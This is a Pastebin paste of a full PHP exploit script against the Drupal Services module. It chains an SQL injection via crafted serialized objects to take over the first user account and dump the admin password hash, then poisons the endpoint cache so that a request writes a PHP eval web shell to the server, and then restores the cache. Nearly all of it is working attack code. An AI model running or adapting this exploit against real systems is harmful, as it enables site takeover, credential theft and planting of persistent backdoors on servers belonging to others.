Advertisement
Guest User

Untitled

a guest
Jul 13th, 2017
28
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.21 KB | None | 0 0
  1. #!/usr/bin/php
  2. <?php
  3. # Drupal Services Module Remote Code Execution Exploit
  4. # https://www.ambionics.io/blog/drupal-services-module-rce
  5. # cf
  6. #
  7. # Three stages:
  8. # 1. Use the SQL Injection to get the contents of the cache for current endpoint
  9. # along with admin credentials and hash
  10. # 2. Alter the cache to allow us to write a file and do so
  11. # 3. Restore the cache
  12. #
  13.  
  14. # Initialization
  15.  
  16. error_reporting(E_ALL);
  17.  
  18. define('QID', 'anything');
  19. define('TYPE_PHP', 'application/vnd.php.serialized');
  20. define('TYPE_JSON', 'application/json');
  21. define('CONTROLLER', 'user');
  22. define('ACTION', 'login');
  23.  
  24. $url = 'http://vmweb.lan/drupal-7.54';
  25. $endpoint_path = '/rest_endpoint';
  26. $endpoint = 'rest_endpoint';
  27.  
  28. $file = [
  29. 'filename' => 'dixuSOspsOUU.php',
  30. 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
  31. ];
  32.  
  33. $browser = new Browser($url . $endpoint_path);
  34.  
  35.  
  36. # Stage 1: SQL Injection
  37.  
  38. class DatabaseCondition
  39. {
  40. protected $conditions = [
  41. "#conjunction" => "AND"
  42. ];
  43. protected $arguments = [];
  44. protected $changed = false;
  45. protected $queryPlaceholderIdentifier = null;
  46. public $stringVersion = null;
  47.  
  48. public function __construct($stringVersion=null)
  49. {
  50. $this->stringVersion = $stringVersion;
  51.  
  52. if(!isset($stringVersion))
  53. {
  54. $this->changed = true;
  55. $this->stringVersion = null;
  56. }
  57. }
  58. }
  59.  
  60. class SelectQueryExtender {
  61. # Contains a DatabaseCondition object instead of a SelectQueryInterface
  62. # so that $query->compile() exists and (string) $query is controlled by us.
  63. protected $query = null;
  64.  
  65. protected $uniqueIdentifier = QID;
  66. protected $connection;
  67. protected $placeholder = 0;
  68.  
  69. public function __construct($sql)
  70. {
  71. $this->query = new DatabaseCondition($sql);
  72. }
  73. }
  74.  
  75. $cache_id = "services:$endpoint:resources";
  76. $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
  77. $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
  78.  
  79. # Take first user but with a custom password
  80. # Store the original password hash in signature_format, and endpoint cache
  81. # in signature
  82. $query =
  83. "0x3a) UNION SELECT ux.uid AS uid, " .
  84. "ux.name AS name, '$password_hash' AS pass, " .
  85. "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
  86. "ux.pass AS signature_format, ux.created AS created, " .
  87. "ux.access AS access, ux.login AS login, ux.status AS status, " .
  88. "ux.timezone AS timezone, ux.language AS language, ux.picture " .
  89. "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
  90. "WHERE ux.uid<>(0"
  91. ;
  92.  
  93. $query = new SelectQueryExtender($query);
  94. $data = ['username' => $query, 'password' => 'ouvreboite'];
  95. $data = serialize($data);
  96.  
  97. $json = $browser->post(TYPE_PHP, $data);
  98.  
  99. # If this worked, the rest will as well
  100. if(!isset($json->user))
  101. {
  102. print_r($json);
  103. e("Failed to login with fake password");
  104. }
  105.  
  106. # Store session and user data
  107.  
  108. $session = [
  109. 'session_name' => $json->session_name,
  110. 'session_id' => $json->sessid,
  111. 'token' => $json->token
  112. ];
  113. store('session', $session);
  114.  
  115. $user = $json->user;
  116.  
  117. # Unserialize the cached value
  118. # Note: Drupal websites admins, this is your opportunity to fight back :)
  119. $cache = unserialize($user->signature);
  120.  
  121. # Reassign fields
  122. $user->pass = $user->signature_format;
  123. unset($user->signature);
  124. unset($user->signature_format);
  125.  
  126. store('user', $user);
  127.  
  128. if($cache === false)
  129. {
  130. e("Unable to obtains endpoint's cache value");
  131. }
  132.  
  133. x("Cache contains " . sizeof($cache) . " entries");
  134.  
  135. # Stage 2: Change endpoint's behaviour to write a shell
  136.  
  137. class DrupalCacheArray
  138. {
  139. # Cache ID
  140. protected $cid = "services:endpoint_name:resources";
  141. # Name of the table to fetch data from.
  142. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
  143. protected $bin = 'cache';
  144. protected $keysToPersist = [];
  145. protected $storage = [];
  146.  
  147. function __construct($storage, $endpoint, $controller, $action) {
  148. $settings = [
  149. 'services' => ['resource_api_version' => '1.0']
  150. ];
  151. $this->cid = "services:$endpoint:resources";
  152.  
  153. # If no endpoint is given, just reset the original values
  154. if(isset($controller))
  155. {
  156. $storage[$controller]['actions'][$action] = [
  157. 'help' => 'Writes data to a file',
  158. # Callback function
  159. 'callback' => 'file_put_contents',
  160. # This one does not accept "true" as Drupal does,
  161. # so we just go for a tautology
  162. 'access callback' => 'is_string',
  163. 'access arguments' => ['a string'],
  164. # Arguments given through POST
  165. 'args' => [
  166. 0 => [
  167. 'name' => 'filename',
  168. 'type' => 'string',
  169. 'description' => 'Path to the file',
  170. 'source' => ['data' => 'filename'],
  171. 'optional' => false,
  172. ],
  173. 1 => [
  174. 'name' => 'data',
  175. 'type' => 'string',
  176. 'description' => 'The data to write',
  177. 'source' => ['data' => 'data'],
  178. 'optional' => false,
  179. ],
  180. ],
  181. 'file' => [
  182. 'type' => 'inc',
  183. 'module' => 'services',
  184. 'name' => 'resources/user_resource',
  185. ],
  186. 'endpoint' => $settings
  187. ];
  188. $storage[$controller]['endpoint']['actions'] += [
  189. $action => [
  190. 'enabled' => 1,
  191. 'settings' => $settings
  192. ]
  193. ];
  194. }
  195.  
  196. $this->storage = $storage;
  197. $this->keysToPersist = array_fill_keys(array_keys($storage), true);
  198. }
  199. }
  200.  
  201. class ThemeRegistry Extends DrupalCacheArray {
  202. protected $persistable;
  203. protected $completeRegistry;
  204. }
  205.  
  206. cache_poison($endpoint, $cache);
  207.  
  208. # Write the file
  209. $json = (array) $browser->post(TYPE_JSON, json_encode($file));
  210.  
  211.  
  212. # Stage 3: Restore endpoint's behaviour
  213.  
  214. cache_reset($endpoint, $cache);
  215.  
  216. if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
  217. {
  218. e("Failed to write file.");
  219. }
  220.  
  221. $file_url = $url . '/' . $file['filename'];
  222. x("File written: $file_url");
  223.  
  224.  
  225. # HTTP Browser
  226.  
  227. class Browser
  228. {
  229. private $url;
  230. private $controller = CONTROLLER;
  231. private $action = ACTION;
  232.  
  233. function __construct($url)
  234. {
  235. $this->url = $url;
  236. }
  237.  
  238. function post($type, $data)
  239. {
  240. $headers = [
  241. "Accept: " . TYPE_JSON,
  242. "Content-Type: $type",
  243. "Content-Length: " . strlen($data)
  244. ];
  245. $url = $this->url . '/' . $this->controller . '/' . $this->action;
  246.  
  247. $s = curl_init();
  248. curl_setopt($s, CURLOPT_URL, $url);
  249. curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
  250. curl_setopt($s, CURLOPT_POST, 1);
  251. curl_setopt($s, CURLOPT_POSTFIELDS, $data);
  252. curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
  253. curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
  254. curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
  255. $output = curl_exec($s);
  256. $error = curl_error($s);
  257. curl_close($s);
  258.  
  259. if($error)
  260. {
  261. e("cURL: $error");
  262. }
  263.  
  264. return json_decode($output);
  265. }
  266. }
  267.  
  268. # Cache
  269.  
  270. function cache_poison($endpoint, $cache)
  271. {
  272. $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
  273. cache_edit($tr);
  274. }
  275.  
  276. function cache_reset($endpoint, $cache)
  277. {
  278. $tr = new ThemeRegistry($cache, $endpoint, null, null);
  279. cache_edit($tr);
  280. }
  281.  
  282. function cache_edit($tr)
  283. {
  284. global $browser;
  285. $data = serialize([$tr]);
  286. $json = $browser->post(TYPE_PHP, $data);
  287. }
  288.  
  289. # Utils
  290.  
  291. function x($message)
  292. {
  293. print("$message\n");
  294. }
  295.  
  296. function e($message)
  297. {
  298. x($message);
  299. exit(1);
  300. }
  301.  
  302. function store($name, $data)
  303. {
  304. $filename = "$name.json";
  305. file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
  306. x("Stored $name information in $filename");
  307. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement